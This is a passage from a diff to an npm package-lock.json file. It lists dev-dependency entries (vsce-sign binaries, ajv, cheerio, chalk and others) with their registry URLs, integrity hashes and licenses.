"https://registry.npmjs.org/@vscode/vsce-sign-darwin-x64/-/vsce-sign-darwin-x64-2.0.6.tgz", + "integrity": "sha512-25GsUbTAiNfHSuRItoQafXOIpxlYj+IXb4/qarrXu7kmbH94jlm5sdWSCKrrREs8+GsXF1b+l3OB7VJy5jsykw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "SEE LICENSE IN LICENSE.txt", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@vscode/vsce-sign-linux-arm": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/@vscode/vsce-sign-linux-arm/-/vsce-sign-linux-arm-2.0.6.tgz", + "integrity": "sha512-UndEc2Xlq4HsuMPnwu7420uqceXjs4yb5W8E2/UkaHBB9OWCwMd3/bRe/1eLe3D8kPpxzcaeTyXiK3RdzS/1CA==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "SEE LICENSE IN LICENSE.txt", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@vscode/vsce-sign-linux-arm64": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/@vscode/vsce-sign-linux-arm64/-/vsce-sign-linux-arm64-2.0.6.tgz", + "integrity": "sha512-cfb1qK7lygtMa4NUl2582nP7aliLYuDEVpAbXJMkDq1qE+olIw/es+C8j1LJwvcRq1I2yWGtSn3EkDp9Dq5FdA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "SEE LICENSE IN LICENSE.txt", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@vscode/vsce-sign-linux-x64": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/@vscode/vsce-sign-linux-x64/-/vsce-sign-linux-x64-2.0.6.tgz", + "integrity": "sha512-/olerl1A4sOqdP+hjvJ1sbQjKN07Y3DVnxO4gnbn/ahtQvFrdhUi0G1VsZXDNjfqmXw57DmPi5ASnj/8PGZhAA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "SEE LICENSE IN LICENSE.txt", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@vscode/vsce-sign-win32-arm64": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/@vscode/vsce-sign-win32-arm64/-/vsce-sign-win32-arm64-2.0.6.tgz", + "integrity": "sha512-ivM/MiGIY0PJNZBoGtlRBM/xDpwbdlCWomUWuLmIxbi1Cxe/1nooYrEQoaHD8ojVRgzdQEUzMsRbyF5cJJgYOg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "SEE LICENSE IN LICENSE.txt", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@vscode/vsce-sign-win32-x64": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/@vscode/vsce-sign-win32-x64/-/vsce-sign-win32-x64-2.0.6.tgz", + "integrity": "sha512-mgth9Kvze+u8CruYMmhHw6Zgy3GRX2S+Ed5oSokDEK5vPEwGGKnmuXua9tmFhomeAnhgJnL4DCna3TiNuGrBTQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "SEE LICENSE IN LICENSE.txt", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/agent-base": { + "version": "7.1.4", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz", + "integrity": "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 14" + } + }, + "node_modules/ajv": { + "version": "8.18.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.18.0.tgz", + "integrity": "sha512-PlXPeEWMXMZ7sPYOHqmDyCJzcfNrUr3fGNKtezX14ykXOEIvyK81d+qydx89KY5O71FKMPaQ2vBfBFI5NHR63A==", + "dev": true, + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.3", + "fast-uri": "^3.0.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/ansi-escapes": { + "version": "7.3.0", + "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-7.3.0.tgz", + "integrity": "sha512-BvU8nYgGQBxcmMuEeUEmNTvrMVjJNSH7RgW24vXexN4Ven6qCvy4TntnvlnwnMLTVlcRQQdbRY8NKnaIoeWDNg==", + "dev": true, + "license": "MIT", + "dependencies": { + "environment": "^1.0.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ansi-regex": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", + "dev": true, + "license": "Python-2.0" + }, + "node_modules/astral-regex": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/astral-regex/-/astral-regex-2.0.0.tgz", + "integrity": "sha512-Z7tMw1ytTXt5jqMcOP+OQteU1VuNK9Y02uuJtKQ1Sv69jXQKKg5cibLwGJow8yzZP+eAc18EmLGPal0bp36rvQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/azure-devops-node-api": { + "version": "12.5.0", + "resolved": "https://registry.npmjs.org/azure-devops-node-api/-/azure-devops-node-api-12.5.0.tgz", + "integrity": "sha512-R5eFskGvOm3U/GzeAuxRkUsAl0hrAwGgWn6zAd2KrZmrEhWZVqLew4OOupbQlXUuojUzpGtq62SmdhJ06N88og==", + "dev": true, + "license": "MIT", + "dependencies": { + "tunnel": "0.0.6", + "typed-rest-client": "^1.8.4" + } + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "optional": true + }, + "node_modules/binaryextensions": { + "version": "6.11.0", + "resolved": "https://registry.npmjs.org/binaryextensions/-/binaryextensions-6.11.0.tgz", + "integrity": "sha512-sXnYK/Ij80TO3lcqZVV2YgfKN5QjUWIRk/XSm2J/4bd/lPko3lvk0O4ZppH6m+6hB2/GTu+ptNwVFe1xh+QLQw==", + "dev": true, + "license": "Artistic-2.0", + "dependencies": { + "editions": "^6.21.0" + }, + "engines": { + "node": ">=4" + }, + "funding": { + "url": "https://bevry.me/fund" + } + }, + "node_modules/bl": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz", + "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "buffer": "^5.5.0", + "inherits": "^2.0.4", + "readable-stream": "^3.4.0" + } + }, + "node_modules/boolbase": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz", + "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==", + "dev": true, + "license": "ISC" + }, + "node_modules/boundary": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/boundary/-/boundary-2.0.0.tgz", + "integrity": "sha512-rJKn5ooC9u8q13IMCrW0RSp31pxBCHE3y9V/tp3TdWSLf8Em3p6Di4NBpfzbJge9YjjFEsD0RtFEjtvHL5VyEA==", + "dev": true, + "license": "BSD-2-Clause" + }, + "node_modules/brace-expansion": { + "version": "1.1.12", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz", + "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/braces": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", + "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", + "dev": true, + "license": "MIT", + "dependencies": { + "fill-range": "^7.1.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/buffer": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", + "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "optional": true, + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.1.13" + } + }, + "node_modules/buffer-crc32": { + "version": "0.2.13", + "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz", + "integrity": "sha512-VO9Ht/+p3SN7SKWqcrgEzjGbRSJYTx+Q1pTQC0wrWqHx0vpJraQ6GtHx8tvcg1rlK1byhU5gccxgOgj7B0TDkQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": "*" + } + }, + "node_modules/buffer-equal-constant-time": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/buffer-equal-constant-time/-/buffer-equal-constant-time-1.0.1.tgz", + "integrity": "sha512-zRpUiDwd/xk6ADqPMATG8vc9VPrkck7T07OIx0gnjmJAnHnTVXNQG3vfvWNuiZIkwu9KrKdA1iJKfsfTVxE6NA==", + "dev": true, + "license": "BSD-3-Clause" + }, + "node_modules/bundle-name": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/bundle-name/-/bundle-name-4.1.0.tgz", + "integrity": "sha512-tjwM5exMg6BGRI+kNmTntNsvdZS1X8BFYS6tnJ2hdH0kVxM6/eVZ2xy+FqStSWvYmtfFMDLIxurorHwDKfDz5Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "run-applescript": "^7.0.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/call-bind-apply-helpers": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", + "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/call-bound": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz", + "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "get-intrinsic": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/cheerio": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/cheerio/-/cheerio-1.2.0.tgz", + "integrity": "sha512-WDrybc/gKFpTYQutKIK6UvfcuxijIZfMfXaYm8NMsPQxSYvf+13fXUJ4rztGGbJcBQ/GF55gvrZ0Bc0bj/mqvg==", + "dev": true, + "license": "MIT", + "dependencies": { + "cheerio-select": "^2.1.0", + "dom-serializer": "^2.0.0", + "domhandler": "^5.0.3", + "domutils": "^3.2.2", + "encoding-sniffer": "^0.2.1", + "htmlparser2": "^10.1.0", + "parse5": "^7.3.0", + "parse5-htmlparser2-tree-adapter": "^7.1.0", + "parse5-parser-stream": "^7.1.2", + "undici": "^7.19.0", + "whatwg-mimetype": "^4.0.0" + }, + "engines": { + "node": ">=20.18.1" + }, + "funding": { + "url": "https://github.com/cheeriojs/cheerio?sponsor=1" + } + }, + "node_modules/cheerio-select": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/cheerio-select/-/cheerio-select-2.1.0.tgz", + "integrity": "sha512-9v9kG0LvzrlcungtnJtpGNxY+fzECQKhK4EGJX2vByejiMX84MFNQw4UxPJl3bFbTMw+Dfs37XaIkCwTZfLh4g==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "boolbase": "^1.0.0", + "css-select": "^5.1.0", + "css-what": "^6.1.0", + "domelementtype": "^2.3.0", + "domhandler": "^5.0.3", + "domutils": "^3.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/chownr": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz", + "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==", + "dev": true, + "license": "ISC", + "optional": true + }, + "node_modules/cockatiel": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/cockatiel/-/cockatiel-3.2.1.tgz", + "integrity": "sha512-gfrHV6ZPkquExvMh9IOkKsBzNDk6sDuZ6DdBGUBkvFnTCqCxzpuq48RySgP0AnaqQkw2zynOFj9yly6T1Q2G5Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=16" + } + }, + "node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true, + "license": "MIT" + }, + "node_modules/combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "dev": true, + "license": "MIT", + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/commander": { + "version": "12.1.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-12.1.0.tgz", + "integrity": "sha512-Vw8qHK3bZM9y/P10u3Vib8o/DdkvA2OtPtZvD871QKjy74Wj1WSKFILMPRPSdUSx5RFK1arlJzEtA4PkFgnbuA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "dev": true, + "license": "MIT" + }, + "node_modules/cross-spawn": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", + "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", + "dev": true, + "license": "MIT", + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/css-select": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/css-select/-/css-select-5.2.2.tgz", + "integrity": "sha512-TizTzUddG/xYLA3NXodFM0fSbNizXjOKhqiQQwvhlspadZokn1KDy0NZFS0wuEubIYAV5/c1/lAr0TaaFXEXzw==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "boolbase": "^1.0.0", + "css-what": "^6.1.0", + "domhandler": "^5.0.2", + "domutils": "^3.0.1", + "nth-check": "^2.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/css-what": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/css-what/-/css-what-6.2.2.tgz", + "integrity": "sha512-u/O3vwbptzhMs3L1fQE82ZSLHQQfto5gyZzwteVIEyeaY5Fc7R4dapF/BvRoSYFeqfBk4m0V1Vafq5Pjv25wvA==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">= 6" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/debug": { + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", + "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decompress-response": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz", + "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "mimic-response": "^3.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/deep-extend": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz", + "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==", + "dev": true, + "license": "MIT", + "optional": true, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/default-browser": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/default-browser/-/default-browser-5.5.0.tgz", + "integrity": "sha512-H9LMLr5zwIbSxrmvikGuI/5KGhZ8E2zH3stkMgM5LpOWDutGM2JZaj460Udnf1a+946zc7YBgrqEWwbk7zHvGw==", + "dev": true, + "license": "MIT", + "dependencies": { + "bundle-name": "^4.1.0", + "default-browser-id": "^5.0.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/default-browser-id": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/default-browser-id/-/default-browser-id-5.0.1.tgz", + "integrity": "sha512-x1VCxdX4t+8wVfd1so/9w+vQ4vx7lKd2Qp5tDRutErwmR85OgmfX7RlLRMWafRMY7hbEiXIbudNrjOAPa/hL8Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/define-lazy-prop": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/define-lazy-prop/-/define-lazy-prop-3.0.0.tgz", + "integrity": "sha512-N+MeXYoqr3pOgn8xfyRPREN7gHakLYjhsHhWGT3fWAiL4IkAt0iDw14QiiEm2bE30c5XX5q0FtAA3CK5f9/BUg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/detect-libc": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz", + "integrity": "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==", + "dev": true, + "license": "Apache-2.0", + "optional": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/dom-serializer": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-2.0.0.tgz", + "integrity": "sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==", + "dev": true, + "license": "MIT", + "dependencies": { + "domelementtype": "^2.3.0", + "domhandler": "^5.0.2", + "entities": "^4.2.0" + }, + "funding": { + "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1" + } + }, + "node_modules/domelementtype": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz", + "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ], + "license": "BSD-2-Clause" + }, + "node_modules/domhandler": { + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-5.0.3.tgz", + "integrity": "sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "domelementtype": "^2.3.0" + }, + "engines": { + "node": ">= 4" + }, + "funding": { + "url": "https://github.com/fb55/domhandler?sponsor=1" + } + }, + "node_modules/domutils": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-3.2.2.tgz", + "integrity": "sha512-6kZKyUajlDuqlHKVX1w7gyslj9MPIXzIFiz/rGu35uC1wMi+kMhQwGhl4lt9unC9Vb9INnY9Z3/ZA3+FhASLaw==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "dom-serializer": "^2.0.0", + "domelementtype": "^2.3.0", + "domhandler": "^5.0.3" + }, + "funding": { + "url": "https://github.com/fb55/domutils?sponsor=1" + } + }, + "node_modules/dunder-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", + "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.1", + "es-errors": "^1.3.0", + "gopd": "^1.2.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/ecdsa-sig-formatter": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/ecdsa-sig-formatter/-/ecdsa-sig-formatter-1.0.11.tgz", + "integrity": "sha512-nagl3RYrbNv6kQkeJIpt6NJZy8twLB/2vtz6yN9Z4vRKHN4/QZJIEbqohALSgwKdnksuY3k5Addp5lg8sVoVcQ==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "safe-buffer": "^5.0.1" + } + }, + "node_modules/editions": { + "version": "6.22.0", + "resolved": "https://registry.npmjs.org/editions/-/editions-6.22.0.tgz", + "integrity": "sha512-UgGlf8IW75je7HZjNDpJdCv4cGJWIi6yumFdZ0R7A8/CIhQiWUjyGLCxdHpd8bmyD1gnkfUNK0oeOXqUS2cpfQ==", + "dev": true, + "license": "Artistic-2.0", + "dependencies": { + "version-range": "^4.15.0" + }, + "engines": { + "ecmascript": ">= es5", + "node": ">=4" + }, + "funding": { + "url": "https://bevry.me/fund" + } + }, + "node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true, + "license": "MIT" + }, + "node_modules/encoding-sniffer": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/encoding-sniffer/-/encoding-sniffer-0.2.1.tgz", + "integrity": "sha512-5gvq20T6vfpekVtqrYQsSCFZ1wEg5+wW0/QaZMWkFr6BqD3NfKs0rLCx4rrVlSWJeZb5NBJgVLswK/w2MWU+Gw==", + "dev": true, + "license": "MIT", + "dependencies": { + "iconv-lite": "^0.6.3", + "whatwg-encoding": "^3.1.1" + }, + "funding": { + "url": "https://github.com/fb55/encoding-sniffer?sponsor=1" + } + }, + "node_modules/end-of-stream": { + "version": "1.4.5", + "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.5.tgz", + "integrity": "sha512-ooEGc6HP26xXq/N+GCGOT0JKCLDGrq2bQUZrQ7gyrJiZANJ/8YDTxTpQBXGMn+WbIQXNVpyWymm7KYVICQnyOg==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "once": "^1.4.0" + } + }, + "node_modules/entities": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-4.5.0.tgz", + "integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.12" + }, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/environment": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/environment/-/environment-1.1.0.tgz", + "integrity": "sha512-xUtoPkMggbz0MPyPiIWr1Kp4aeWJjDZ6SMvURhimjdZgsRuDplF5/s9hcgGhyXMhs+6vpnuoiZ2kFiu3FMnS8Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/es-define-property": { + "version": "1.0.1", + "resolved": 